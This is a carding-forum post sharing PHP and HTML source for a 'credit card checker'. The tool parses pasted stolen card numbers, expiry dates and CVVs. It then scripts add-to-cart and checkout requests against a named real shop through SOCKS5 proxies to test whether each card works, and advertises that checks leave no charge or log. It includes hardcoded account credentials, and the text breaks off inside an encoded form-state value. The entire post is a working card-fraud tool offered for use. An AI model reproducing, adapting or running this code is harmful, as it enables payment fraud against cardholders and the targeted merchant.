[Cvv Checker] - shop.kerusso.com

A25414N

Professional
Messages
243
Reaction score
20
Points
18
Code:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta name="author" content="LTmedia" />
<body style="color:#383829;">
    <title>iZy--</title>
   <link href='icon.png' rel='shortcut icon' type='image/ico'/>
    <script>
function tuxu(){
    document.getElementById("tuxu").innerHTML = '<br>Delim <input type=text name=kitu value="|" size=6> - CCNum <input type=text name=num value="0" size=6> - Month <input type=text name=mon value="1" size=6> - Year <input type=text name=year value="2" size=6> - Cv2 <input type=text name=cvv value="3" size=6>';
}
function auto(){
    document.getElementById("tuxu").innerHTML = '';
}

</script>
    <style>
    *{
        padding: 0px;
        margin:  0px;
    }
    body{
        background-color: #111111;
    }
    #container{
        width: 900px;
        margin: 20px auto;
        border: 1px dashed #282828;
    }
    label{
        display: block;
        color: white;
        margin: 8px auto;
        text-align: center;
        font-size: 30px;
        FONT-WEIGHT: bold;
    }
    textarea{
        margin: 10px auto;
        color: white;
        width: 800px;
        height: 230px;
        border: 1px dashed green;
        display: block;
        background-color: #696969;
        
    }
    #show{
        margin: 10px auto;
        width: 800px;
        color: white;
        overflow: auto;
    }
    #result{
        width: 800px;
        margin: 10px auto;
    }
    fieldset{
        width: 800px;
        margin: 10px auto;
        color: white;
    }
    fieldset textarea{
        width: 780px;
        margin: 10px auto;
    }
    </style>
</head>

<body>
    <div id="container">
    <label>CREDIT CARD CHECKER</label>
    <h1><center><font color="red" size="3">Accept type: </font>
    <font color="white" size="3">Visa, MasterCard, AmericanExpress, Discover</font><br><font color="white" size="3"> 
    Support ALL Country . No-Charg $, No-Kill CC, No Log CC</font><br>
    <font color="white" size="3">Please Type Socks5 when check - Limit 5 CC / 1 Socks</font></center>

    <p>
        <br>
    </p>
    <form method="POST" action="">

    <div align="center">
    <table border="0" id="table1" cellpadding="3" style="border-collapse: collapse" cellspacing="3" width="100%">
        <tr>
            <td width="90%" colspan="2">
                        <textarea name="data" rows="1" cols="20"></textarea></td>
        </tr>
        <tr>
            <td width="1%"> </td>
            <td align="center">
        <table border="0" width="252">
            <tr>
                <td width="106"><table border="0" width="19%" id="table3">
            <tr>
                <td><font size="3" color="#383829">Enter Socks 5:</font></td>
            </tr>
            <tr>
                <td height="19"><font size="3" color="#FFFFFF">
                <span style="background-color: #0000FF"><b><input type=text name=socks value="127.0.0.1:1080" size=14></input></b></span></font></td>
            </tr>
            </table>
                </td>
                <td width="106">
        <table border="0" width="19%" id="table2">
            <tr>
                <td><b>

<input type="reset" value="RESET DATA" name="B2" style="float: right" /></td>
            </tr>
            <tr>
                <td>
    <input type="submit" value="CHECK CARD" /></td>
            </tr>
        </table>
                </td>
            </tr>
        </table>
            </td>
        </tr>
        <tr>
            <td colspan="2" align="center" height="24">

                    <input type=radio name=kind value=auto onClick="auto()" checked> Automatic

        <input type=radio name=kind value=non onClick="tuxu()">Manual<br>
        <div id=tuxu></div>
        </td>
        </tr>
    </table>
    </div>

    </form>
    <div id="result">

<?php

set_time_limit(-1);

$user_0 = "izyizyizy@admin.izy.vn"; // ( Dien USer tai day )
$user = urlencode($user_0);     
$pass  = "123izy123izy";             // ( Dien Password )

function curl($url, $data, $cookie)

{
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_PROXY, $_POST['socks']);

    curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);

    curl_setopt($ch, CURLOPT_REFERER, "https://shop.kerusso.com/"); 

    curl_setopt($ch, CURLOPT_URL, $url);

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

    curl_setopt($ch, CURLOPT_MAXREDIRS, 10);

    curl_setopt($ch, CURLOPT_HEADER, false);

    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);


    if ($data) {

        curl_setopt($ch, CURLOPT_POST, true);

        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

    }

    if ($cookie) {

        curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);

        curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);

    }

   curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); 

    $result = curl_exec($ch);

    curl_close($ch);

    if (!$result) {
        return 'error';
    }

    return $result;


}


function getvalue($value, $str)
{

    $result = preg_match($value, $str, $match);

    if ($result) {

        return $match[1];

    } else {

        return false;

    }

}
function getccn($str)
{
    preg_match("/(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6011[0-9]{12}|3(?:0[0-5]|[68][0-9])[0-9]{11}|3[47][0-9]{13})/",
        $str, $match);
    return $match[0];
}

function delete_cookies(){
    global $cookie;
    $fp = @fopen($cookie,'w');
    fwrite($fp, "");
    @fclose($fp);    
}

function info($ccline)
{
    $xy = array("|", "\\", "/", "-", ";");
    $sepe = $xy[0];
    foreach ($xy as $v) {
        if (substr_count($ccline, $sepe) < substr_count($ccline, $v))
            $sepe = $v;
    }
    $x = explode($sepe, $ccline);
    foreach ($xy as $y)
        $x = str_replace($y, "", str_replace(" ", "", $x));
    foreach ($x as $xx) {
        $xx = trim($xx);
        if (is_numeric($xx)) {
            $yy = strlen($xx);
            switch ($yy) {
                case 15:
                    if (substr($xx, 0, 1) == 3) {
                        $ccnum['num'] = $xx;
                        $ccnum['type'] = "AX";
                    }
                    break;
                case 16:
                    switch (substr($xx, 0, 1)) {
                        case '4':
                            $ccnum['num'] = $xx;
                            $ccnum['type'] = "visa";
                            break;
                        case '5':
                            $ccnum['num'] = $xx;
                            $ccnum['type'] = "mastercard";
                            break;
                        case '6':
                            $ccnum['num'] = $xx;
                            $ccnum['type'] = "discover";
                            break;
                    }
                    break;
                case 1:
                    if (($xx >= 1) and ($xx <= 12) and (!isset($ccnum['mon'])))
                        $ccnum['mon'] = $xx;
                case 2:
                    if (($xx >= 1) and ($xx <= 12) and (!isset($ccnum['mon']))) {
                        if ($xx < 10) {
                            $ccnum['mon'] = substr($xx, 1);
                        } else {
                            $ccnum['mon'] = $xx;
                        }
                    } elseif (($xx >= 9) and ($xx <= 19) and (isset($ccnum['mon'])) and (!isset($ccnum['year'])))
                        $ccnum['year'] = "20" . $xx;
                    break;
                case 4:
                    if (($xx >= 2009) and ($xx <= 2019) and (isset($ccnum['mon'])))
                        $ccnum['year'] = $xx;
                    elseif ((substr($xx, 0, 2) >= 1) and (substr($xx, 0, 2) <= 12) and (substr($xx,
                        2, 2) >= 9) and (substr($xx, 2, 2) <= 19) and (!isset($ccnum['mon'])) and (!
                        isset($ccnum['year']))) {
                        $ccnum['mon'] = substr($xx, 0, 2);
                        $ccnum['year'] = "20" . substr($xx, 2, 2);
                    } else
                        $ccv['cv4'] = $xx;
                    break;
                case 6:
                    if ((substr($xx, 0, 2) >= 1) and (substr($xx, 0, 2) <= 12) and (substr($xx, 2, 4) >=
                        2009) and (substr($xx, 2, 4) <= 2019)) {
                        $ccnum['mon'] = substr($xx, 1, 1);
                        $ccnum['year'] = substr($xx, 2, 4);
                    }
                    break;
                case 3:
                    $ccv['cv3'] = $xx;
                    break;

            }
        }
    }
    if (isset($ccnum['num']) and isset($ccnum['mon']) and isset($ccnum['year'])) {
        if ($ccnum['type'] == "AX")
            $ccnum['cvv'] = $ccv['cv4'];
        else
            $ccnum['cvv'] = $ccv['cv3'];
        return $ccnum;
    } else
        return false;
}

function begin($user,$pass, $cookie)
{            
     //Add item 
             
          curl("https://shop.kerusso.com/addtocart.aspx?returnurl=showproduct.aspx%3fProductID%3d1710%26SEName%3danointed-fighter",
        "VariantStyle=0&IsWishList=0&IsGiftRegistry=0&UpsellProducts=&CartRecID=0&ProductID=1441&VariantID=1476&Quantity=1&Quantity_vldt=%5Breq%5D%5Binteger%5D%5Bnumber%5D%5Bblankalert%3DPlease+enter+a+quantity%5D%5Binvalidalert%3DPlease+enter+a+number+for+the+quantity%5D", $cookie);

          curl("https://shop.kerusso.com/checkoutanon.aspx?checkout=true",
        "__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJNzA2NjIxNDQ4D2QWAgICD2QWBgIFD2QWAmYPDxYCHgdWaXNpYmxlaGRkAgsPZBYCZg8WAh4EVGV4dAXoJDxkaXYgaWQ9InRvcE5hdkJhciI%2BPHVsIGNsYXNzPSJyb290R3JvdXAiPjxsaSBpZD0ibWVudUl0ZW0wIiBjbGFzcz0iZmlyc3QgcGFyZW50Ij48YSBocmVmPSJzLTItZ3V5cy5hc3B4IiB0aXRsZT0iR3V5cyI%2BPHNwYW4gY2xhc3M9IndyYXAiPjxzcGFuIGNsYXNzPSJpbm5lcldyYXAiPkd1eXM8L3NwYW4%2BPC9zcGFuPjwvYT48L2xpPjxsaSBpZD0ibWVudUl0ZW0xIiBjbGFzcz0icGFyZW50Ij48YSBocmVmPSJzLTI2LWdpcmxzLmFzcHgiIHRpdGxlPSJHaXJscyI%2BPHNwYW4gY2xhc3M9IndyYXAiPjxzcGFuIGNsYXNzPSJpbm5lcldyYXAiPkdpcmxzPC9zcGFuPjwvc3Bhbj48L2E%2BPC9saT48bGkgaWQ9Im1lbnVJdGVtMiIgY2xhc3M9InBhcmVudCI%2BPGEgaHJlZj0icy01NC1raWR6LmFzcHgiIHRpdGxlPSJLaWR6Ij48c3BhbiBjbGFzcz0id3JhcCI%2BPHNwYW4gY2xhc3M9ImlubmVyV3JhcCI%2BS2lkejwvc3Bhbj48L3NwYW4%2BPC9hPjwvbGk%2BPGxpIGlkPSJtZW51SXRlbTMiIGNsYXNzPSJwYXJlbnQiPjxhIGhyZWY9InMtNjUtb3RoZXItY29vbC1zdHVmZi5hc3B4IiB0aXRsZT0iT3RoZXIgQ29vbCBTdHVmZiI%2BPHNwYW4gY2xhc3M9IndyYXAiPjxzcGFuIGNsYXNzPSJpbm5lcldyYXAiPk90aGVyIENvb2wgU3R1ZmY8L3NwYW4%2BPC9zcGFuPjwvYT48L2xpPjxsaSBpZD0ibWVudUl0ZW00IiBjbGFzcz0ibGFzdCI%2BPGEgaHJlZj0icy0xMjgtcGVyc29uYWxpemUuYXNweCIgdGl0bGU9IlBlcnNvbmFsaXplIj48c3BhbiBjbGFzcz0id3JhcCI%2BPHNwYW4gY2xhc3M9ImlubmVyV3JhcCI%2BUGVyc29uYWxpemU8L3NwYW4%2BPC9zcGFuPjwvYT48L2xpPjwvdWw%2BPC9kaXY%2BPGRpdiBpZD0idG9wTmF2QmFyUGFuZWxzIj48ZGl2IGlkPSJtZW51SXRlbTBfcGFuZWwiIGNsYXNzPSJwYW5lbCI%2BPGRpdiBjbGFzcz0iaW5uZXIiPjxkaXYgY2xhc3M9Imdyb3VwIGZpcnN0Ij48aDI%2BPGEgaHJlZj0icy0zLWFwcGFyZWwuYXNweCI%2BQXBwYXJlbDwvYT48L2gyPjx0YWJsZT48dHI%2BPHRkPjxhIGhyZWY9InMtNC1uZXcuYXNweCI%2BTmV3PC9hPjwvdGQ%2BPHRkPjxhIGhyZWY9InMtOTYtaG9vZGllcy5hc3B4Ij5Ib29kaWVzPC9hPjwvdGQ%2BPHRkPjxhIGhyZWY9InMtMTE0LWxpdmUtZm9yLWhpbS5hc3B4Ij5MaXZlIEZvciBIaW08L2E%2BPC90ZD48L3RyPjx0cj48dGQ%2BPGEgaHJlZj0icy01LXNob3J0LXNsZWV2ZS10cy5hc3B4Ij5TaG9ydCBTbGVldmUgVCdzPC9hPjwvdGQ%2BPHRkPjxhIGhyZWY9InMtOS1zZWFzb25hbC5hc3B4Ij5TZWFzb25hbDwvYT48L3RkPjx0ZD48YSBocmVmPSJzLTEwLW1heC1sdWNhZG8uYXNweCI%2BTWF4IEx1Y2FkbzwvYT48L3RkPjwvdHI%2BPHRyPjx0ZD48YSBocmVmPSJzLTkwLWhlYWR3ZWFyLmFzcHgiPkhlYWR3ZWFyPC9hPjwvdGQ%2BPHRkPjxhIGhyZWY9InMtOTctZmlyZXByb29mLW1vdmllLmFzcHgiPkZpcmVwcm9vZiBNb3ZpZTwvYT48L3RkPjx0ZD48YSBocmVmPSJzLTgtZXh0ZW5kZWQtc2l6ZXMuYXNweCI%2BRXh0ZW5kZWQgU2l6ZXM8L2E%2BPC90ZD48L3RyPjx0cj48dGQ%2BPGEgaHJlZj0icy05Mi1tdXNjbGUtdHMuYXNweCI%2BTXVzY2xlIFQnczwvYT48L3RkPjx0ZD48YSBocmVmPSJzLTEyNC1lZGdlLmFzcHgiPkVkZ2U8L2E%2BPC90ZD48dGQ%2BPGEgaHJlZj0icy0xMzAtY291cmFnZW91cy5hc3B4Ij5Db3VyYWdlb3VzPC9hPjwvdGQ%2BPC90cj48L3RhYmxlPjwvZGl2PjxkaXYgY2xhc3M9Imdyb3VwIj48aDI%2BPGEgaHJlZj0icy0xMi1qZXdlbHJ5LmFzcHgiPkpld2Vscnk8L2E%2BPC9oMj48dGFibGU%2BPC90cj48dHI%2BPHRkPjxhIGhyZWY9InMtMTE3LXJpbmdzLmFzcHgiPlJpbmdzPC9hPjwvdGQ%2BPC90cj48dGQ%2BPGEgaHJlZj0icy0yNC1mYWl0aC1nZWFyLmFzcHgiPkZhaXRoIEdlYXI8L2E%2BPC90ZD48L3RyPjwvdGFibGU%2BPC9kaXY%2BPGRpdiBjbGFzcz0iZ3JvdXAiPjxoMj48YSBocmVmPSJzLTEzLWFjY2Vzc29yaWVzLmFzcHgiPkFjY2Vzc29yaWVzPC9hPjwvaDI%2BPHRhYmxlPjwvdHI%2BPHRyPjx0ZD48YSBocmVmPSJzLTE1LWtleS1jaGFpbnMuYXNweCI%2BS2V5IENoYWluczwvYT48L3RkPjwvdHI%2BPHRkPjxhIGhyZWY9InMtMTIwLWd1aXRhci1zdHJhcHMuYXNweCI%2BR3VpdGFyIFN0cmFwczwvYT48L3RkPjwvdHI%2BPC90YWJsZT48L2Rpdj48ZGl2IGNsYXNzPSJncm91cCBsYXN0Ij48aDI%2BPGEgaHJlZj0icy0xNC10b29scy5hc3B4Ij5Ub29sczwvYT48L2gyPjwvZGl2PjxkaXYgY2xhc3M9ImNsZWFyIj48L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSJib3R0b20iPjwvZGl2PjwvZGl2PjxkaXYgaWQ9Im1lbnVJdGVtMV9wYW5lbCIgY2xhc3M9InBhbmVsIj48ZGl2IGNsYXNzPSJpbm5lciI%2BPGRpdiBjbGFzcz0iZ3JvdXAgZmlyc3QiPjxoMj48YSBocmVmPSJzLTI3LWFwcGFyZWwuYXNweCI%2BQXBwYXJlbDwvYT48L2gyPjx0YWJsZT48dHI%2BPHRkPjxhIGhyZWY9InMtMjgtbmV3LmFzcHgiPk5ldzwvYT48L3RkPjx0ZD48YSBocmVmPSJzLTM2LWhvb2RpZXMuYXNweCI%2BSG9vZGllczwvYT48L3RkPjx0ZD48YSBocmVmPSJzLTExNS1saXZlLWZvci1oaW0uYXNweCI%2BTGl2ZSBGb3IgSGltPC9hPjwvdGQ%2BPC90cj48dHI%2BPHRkPjxhIGhyZWY9InMtMjktc2hvcnQtc2xlZXZlLXRzLmFzcHgiPlNob3J0IFNsZWV2ZSBUJ3M8L2E%2BPC90ZD48dGQ%2BPGEgaHJlZj0icy0zMy1zZWFzb25hbC5hc3B4Ij5TZWFzb25hbDwvYT48L3RkPjx0ZD48YSBocmVmPSJzLTM1LW1heC1sdWNhZG8uYXNweCI%2BTWF4IEx1Y2FkbzwvYT48L3RkPjwvdHI%2BPHRyPjx0ZD48YSBocmVmPSJzLTczLWp1bmlvcnMuYXNweCI%2BSnVuaW9yczwvYT48L3RkPjx0ZD48YSBocmVmPSJzLTM3LWhlYWR3ZWFyLmFzcHgiPkhlYWR3ZWFyPC9hPjwvdGQ%2BPHRkPjxhIGhyZWY9InMtMTI5LWxhZGllcy1jdXQtdGVlcy5hc3B4Ij5MYWRpZXMgQ3V0IFRlZXM8L2E%2BPC90ZD48L3RyPjx0cj48dGQ%2BPGEgaHJlZj0icy0zMi1leHRlbmRlZC1zaXplcy5hc3B4Ij5FeHRlbmRlZCBTaXplczwvYT48L3RkPjx0ZD48YSBocmVmPSJzLTM0LXdvbWVuLW9mLWZhaXRoLmFzcHgiPldvbWVuIG9mIEZhaXRoPC9hPjwvdGQ%2BPHRkPjxhIGhyZWY9InMtMTI1LWxpa2UtZGFuZGVsaW9uLWR1c3QuYXNweCI%2BTGlrZSBEYW5kZWxpb24gRHVzdDwvYT48L3RkPjwvdHI%2BPHRyPjx0ZD48YSBocmVmPSJzLTEzMS1jb3VyYWdlb3VzLmFzcHgiPkNvdXJhZ2VvdXM8L2E%2BPC90ZD48L3RyPjwvdGFibGU%2BPC9kaXY%2BPGRpdiBjbGFzcz0iZ3JvdXAiPjxoMj48YSBocmVmPSJzLTM4LWpld2VscnkuYXNweCI%2BSmV3ZWxyeTwvYT48L2gyPjx0YWJsZT48L3RyPjx0cj48dGQ%2BPGEgaHJlZj0icy00MC1jaGVyaXNoZWQuYXNweCI%2BQ2hlcmlzaGVkPC9hPjwvdGQ%2BPC90cj48dGQ%2BPGEgaHJlZj0icy00Mi1mYWl0aC1nZWFyLmFzcHgiPkZhaXRoIEdlYXI8L2E%2BPC90ZD48L3RyPjx0ZD48YSBocmVmPSJzLTExMy1yaW5ncy5hc3B4Ij5SaW5nczwvYT48L3RkPjwvdHI%2BPC90YWJsZT48L2Rpdj48ZGl2IGNsYXNzPSJncm91cCBsYXN0Ij48aDI%2BPGEgaHJlZj0icy00NC1hY2Nlc3Nvcmllcy5hc3B4Ij5BY2Nlc3NvcmllczwvYT48L2gyPjx0YWJsZT48L3RyPjx0cj48dGQ%2BPGEgaHJlZj0icy0xMjMtYmFncy5hc3B4Ij5CYWdzPC9hPjwvdGQ%2BPC90cj48dGQ%2BPGEgaHJlZj0icy00NS1rZXktY2hhaW5zLmFzcHgiPktleSBDaGFpbnM8L2E%2BPC90ZD48L3RyPjx0ZD48YSBocmVmPSJzLTEyMS1ndWl0YXItc3RyYXBzLmFzcHgiPkd1aXRhciBTdHJhcHM8L2E%2BPC90ZD48L3RyPjwvdGFibGU%2BPC9kaXY%2BPGRpdiBjbGFzcz0iY2xlYXIiPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9ImJvdHRvbSI%2BPC9kaXY%2BPC9kaXY%2BPGRpdiBpZD0ibWVudUl0ZW0yX3BhbmVsIiBjbGFzcz0icGFuZWwiPjxkaXYgY2xhc3M9ImlubmVyIj48ZGl2IGNsYXNzPSJncm91cCBmaXJzdCI%2BPGgyPjxhIGhyZWY9InMtNTUtYXBwYXJlbC5hc3B4Ij5BcHBhcmVsPC9hPjwvaDI%2BPHRhYmxlPjx0cj48dGQ%2BPGEgaHJlZj0icy01Ni1uZXcuYXNweCI%2BTmV3PC9hPjwvdGQ%2BPHRkPjxhIGhyZWY9InMtNTcteW91dGguYXNweCI%2BWW91dGg8L2E%2BPC90ZD48dGQ%2BPGEgaHJlZj0icy01OC10b2RkbGVyLmFzcHgiPlRvZGRsZXI8L2E%2BPC90ZD48L3RyPjx0cj48dGQ%2BPGEgaHJlZj0icy01OS1zZWFzb25hbC5hc3B4Ij5TZWFzb25hbDwvYT48L3RkPjx0ZD48YSBocmVmPSJzLTc1LWhvb2RpZXMtYW5kLWZsZWVjZS5hc3B4Ij5Ib29kaWVzIGFuZCBGbGVlY2U8L2E%2BPC90ZD48L3RyPjwvdGFibGU%2BPC9kaXY%2BPGRpdiBjbGFzcz0iZ3JvdXAgbGFzdCI%2BPGgyPjxhIGhyZWY9InMtNzYtdG95cy5hc3B4Ij5Ub3lzPC9hPjwvaDI%2BPC9kaXY%2BPGRpdiBjbGFzcz0iY2xlYXIiPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9ImJvdHRvbSI%2BPC9kaXY%2BPC9kaXY%2BPGRpdiBpZD0ibWVudUl0ZW0zX3BhbmVsIiBjbGFzcz0icGFuZWwiPjxkaXYgY2xhc3M9ImlubmVyIj48ZGl2IGNsYXNzPSJncm91cCBmaXJzdCI%2BPGgyPjxhIGhyZWY9InMtNjktdG9vbHMuYXNweCI%2BVG9vbHM8L2E%2BPC9oMj48L2Rpdj48ZGl2IGNsYXNzPSJncm91cCBsYXN0Ij48aDI%2BPGEgaHJlZj0icy03OC1vdGhlci5hc3B4Ij5PdGhlcjwvYT48L2gyPjx0YWJsZT48L3RyPjx0cj48dGQ%2BPGEgaHJlZj0icy0xMjItaW5zdHJ1bWVudHMuYXNweCI%2BSW5zdHJ1bWVudHM8L2E%2BPC90ZD48L3RyPjwvdGFibGU%2BPC9kaXY%2BPGRpdiBjbGFzcz0iY2xlYXIiPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9ImJvdHRvbSI%2BPC9kaXY%2BPC9kaXY%2BPC9kaXY%2BZAINDw9kFgIeBWNsYXNzBRBwYWdlTmFtZSBjb250ZW50FgICAw9kFgJmD2QWBgIBDxYCHwEFhw48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI%2BCmZ1bmN0aW9uIHBvcHVwd2godGl0bGUsdXJsLHcsaCkKCXsKCXdpbmRvdy5vcGVuKCdwb3B1cC5hc3B4P3RpdGxlPScgKyB0aXRsZSArICcmc3JjPScgKyB1cmwsJ1BvcHVwNjM0NDEnLCd0b29sYmFyPW5vLGxvY2F0aW9uPW5vLGRpcmVjdG9yaWVzPW5vLHN0YXR1cz1ubyxtZW51YmFyPW5vLHNjcm9sbGJhcnM9bm8scmVzaXphYmxlPW5vLGNvcHloaXN0b3J5PW5vLHdpZHRoPScgKyB3ICsgJyxoZWlnaHQ9JyArIGggKyAnLGxlZnQ9MCx0b3A9MCcpOwoJcmV0dXJuICh0cnVlKTsKCX0KZnVuY3Rpb24gcG9wdXB0b3BpY3doKHRpdGxlLHRvcGljLHcsaCxzY3JvbGxiYXJzKQoJewoJd2luZG93Lm9wZW4oJ3BvcHVwLmFzcHg%2FdGl0bGU9JyArIHRpdGxlICsgJyZ0b3BpYz0nICsgdG9waWMsJ1BvcHVwNjM0NDEnLCd0b29sYmFyPW5vLGxvY2F0aW9uPW5vLGRpcmVjdG9yaWVzPW5vLHN0YXR1cz1ubyxtZW51YmFyPW5vLHNjcm9sbGJhcnM9JyArIHNjcm9sbGJhcnMgKyAnLHJlc2l6YWJsZT1ubyxjb3B5aGlzdG9yeT1ubyx3aWR0aD0nICsgdyArICcsaGVpZ2h0PScgKyBoICsgJyxsZWZ0PTAsdG9wPTAnKTsKCXJldHVybiAodHJ1ZSk7Cgl9CmZ1bmN0aW9uIHBvcHVwb3JkZXJvcHRpb253aCh0aXRsZSxpZCx3LGgsc2Nyb2xsYmFycykKCXsKCXdpbmRvdy5vcGVuKCdwb3B1cC5hc3B4P3RpdGxlPScgKyB0aXRsZSArICcmb3JkZXJvcHRpb25pZD0nICsgaWQsJ1BvcHVwNjM0NDEnLCd0b29sYmFyPW5vLGxvY2F0aW9uPW5vLGRpcmVjdG9yaWVzPW5vLHN0YXR1cz1ubyxtZW51YmFyPW5vLHNjcm9sbGJhcnM9JyArIHNjcm9sbGJhcnMgKyAnLHJlc2l6YWJsZT1ubyxjb3B5aGlzdG9yeT1ubyx3aWR0aD0nICsgdyArICcsaGVpZ2h0PScgKyBoICsgJyxsZWZ0PTAsdG9wPTAnKTsKCXJldHVybiAodHJ1ZSk7Cgl9CmZ1bmN0aW9uIHBvcHVwa2l0Z3JvdXB3aCh0aXRsZSxraXRncm91cGlkLHcsaCxzY3JvbGxiYXJzKQoJewoJd2luZG93Lm9wZW4oJ3BvcHVwLmFzcHg%2FdGl0bGU9JyArIHRpdGxlICsgJyZraXRncm91cGlkPScgKyBraXRncm91cGlkLCdQb3B1cDYzNDQxJywndG9vbGJhcj1ubyxsb2NhdGlvbj1ubyxkaXJlY3Rvcmllcz1ubyxzdGF0dXM9bm8sbWVudWJhcj1ubyxzY3JvbGxiYXJzPScgKyBzY3JvbGxiYXJzICsgJyxyZXNpemFibGU9bm8sY29weWhpc3Rvcnk9bm8sd2lkdGg9JyArIHcgKyAnLGhlaWdodD0nICsgaCArICcsbGVmdD0wLHRvcD0wJyk7CglyZXR1cm4gKHRydWUpOwoJfQpmdW5jdGlvbiBwb3B1cGtpdGl0ZW13aCh0aXRsZSxraXRpdGVtaWQsdyxoLHNjcm9sbGJhcnMpCgl7Cgl3aW5kb3cub3BlbigncG9wdXAuYXNweD90aXRsZT0nICsgdGl0bGUgKyAnJmtpdGl0ZW1pZD0nICsga2l0aXRlbWlkLCdQb3B1cDYzNDQxJywndG9vbGJhcj1ubyxsb2NhdGlvbj1ubyxkaXJlY3Rvcmllcz1ubyxzdGF0dXM9bm8sbWVudWJhcj1ubyxzY3JvbGxiYXJzPScgKyBzY3JvbGxiYXJzICsgJyxyZXNpemFibGU9bm8sY29weWhpc3Rvcnk9bm8sd2lkdGg9JyArIHcgKyAnLGhlaWdodD0nICsgaCArICcsbGVmdD0wLHRvcD0wJyk7CglyZXR1cm4gKHRydWUpOwoJfQpmdW5jdGlvbiBwb3B1cCh0aXRsZSx1cmwpCgl7Cglwb3B1cHdoKHRpdGxlLHVybCw2MDAsMzc1KTsKCXJldHVybiAodHJ1ZSk7Cgl9CmZ1bmN0aW9uIHBvcHVwdG9waWModGl0bGUsdG9waWMsc2Nyb2xsYmFycykKCXsKCXBvcHVwdG9waWN3aCh0aXRsZSx0b3BpYyw2MDAsMzc1LHNjcm9sbGJhcnMpOwoJcmV0dXJuICh0cnVlKTsKCX0KPC9zY3JpcHQ%2BCmQCAw9kFgICAQ9kFgICAQ8UKwACDxYCHghJbWFnZVVybAUec2tpbnMvc2tpbl8xL2ltYWdlcy9zdGVwXzIuZ2lmZBAWAWYWARYCHg1BbHRlcm5hdGVUZXh0BR1CYWNrIFRvIFN0ZXAgMTogU2hvcHBpbmcgQ2FydBYBAgFkAgUPZBYCAgEPDxYCHwFlZGRkfH4iHSO8RnX6BwEZKB0s8BaOzJc%3D&__EVENTVALIDATION=%2FwEWBQKUu4TbCwKS18akDQLSxeCRDwKW59iEBgL2haI3Ez6oA4bMLNLYx4vRohP1Zr1C5XM%3D&EMail=".$user."&Password=".$pass."&btnSignInAndCheckout=Sign+in+%26+Checkout", $cookie);
 
          curl("https://shop.kerusso.com/checkoutshipping.aspx?dontupdateid=true",
        "", $cookie);

           $tu1 =  curl("https://shop.kerusso.com/checkoutshipping.aspx?dontupdateid=true",
        "__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTEyNDgwNDIwODAPZBYCAgIPZBYGAgUPZBYCZg8PFgIeB1Zpc2libGVoZGQCCw9kFgJmDxYCHgRUZXh0BegkPGRpdiBpZD0idG9wTmF2QmFyIj48dWwgY2xhc3M9InJvb3RHcm91cCI%2BPGxpIGlkPSJtZW51SXRlbTAiIGNsYXNzPSJmaXJzdCBwYXJlbnQiPjxhIGhyZWY9InMtMi1ndXlzLmFzcHgiIHRpdGxlPSJHdXlzIj48c3BhbiBjbGFzcz0id3JhcCI%2BPHNwYW4gY2xhc3M9ImlubmVyV3JhcCI%2BR3V5czwvc3Bhbj48L3NwYW4%2BPC9hPjwvbGk%2BPGxpIGlkPSJtZW51SXRlbTEiIGNsYXNzPSJwYXJlbnQiPjxhIGhyZWY9InMtMjYtZ2lybHMuYXNweCIgdGl0bGU9IkdpcmxzIj48c3BhbiBjbGFzcz0id3JhcCI%2BPHNwYW4gY2xhc3M9ImlubmVyV3JhcCI%2BR2lybHM8L3NwYW4%2BPC9zcGFuPjwvYT48L2xpPjxsaSBpZD0ibWVudUl0ZW0yIiBjbGFzcz0icGFyZW50Ij48YSBocmVmPSJzLTU0LWtpZHouYXNweCIgdGl0bGU9IktpZHoiPjxzcGFuIGNsYXNzPSJ3cmFwIj48c3BhbiBjbGFzcz0iaW5uZXJXcmFwIj5LaWR6PC9zcGFuPjwvc3Bhbj48L2E%2BPC9saT48bGkgaWQ9Im1lbnVJdGVtMyIgY2xhc3M9InBhcmVudCI%2BPGEgaHJlZj0icy02NS1vdGhlci1jb29sLXN0dWZmLmFzcHgiIHRpdGxlPSJPdGhlciBDb29sIFN0dWZmIj48c3BhbiBjbGFzcz0id3JhcCI%2BPHNwYW4gY2xhc3M9ImlubmVyV3JhcCI%2BT3RoZXIgQ29vbCBTdHVmZjwvc3Bhbj48L3NwYW4%2BPC9hPjwvbGk%2BPGxpIGlkPSJtZW51SXRlbTQiIGNsYXNzPSJsYXN0Ij48YSBocmVmPSJzLTEyOC1wZXJzb25hbGl6ZS5hc3B4IiB0aXRsZT0iUGVyc29uYWxpemUiPjxzcGFuIGNsYXNzPSJ3cmFwIj48c3BhbiBjbGFzcz0iaW5uZXJXcmFwIj5QZXJzb25hbGl6ZTwvc3Bhbj48L3NwYW4%2BPC9hPjwvbGk%2BPC91bD48L2Rpdj48ZGl2IGlkPSJ0b3BOYXZCYXJQYW5lbHMiPjxkaXYgaWQ9Im1lbnVJdGVtMF9wYW5lbCIgY2xhc3M9InBhbmVsIj48ZGl2IGNsYXNzPSJpbm5lciI%2BPGRpdiBjbGFzcz0iZ3JvdXAgZmlyc3QiPjxoMj48YSBocmVmPSJzLTMtYXBwYXJlbC5hc3B4Ij5BcHBhcmVsPC9hPjwvaDI%2BPHRhYmxlPjx0cj48dGQ%2BPGEgaHJlZj0icy00LW5ldy5hc3B4Ij5OZXc8L2E%2BPC90ZD48dGQ%2BPGEgaHJlZj0icy05Ni1ob29kaWVz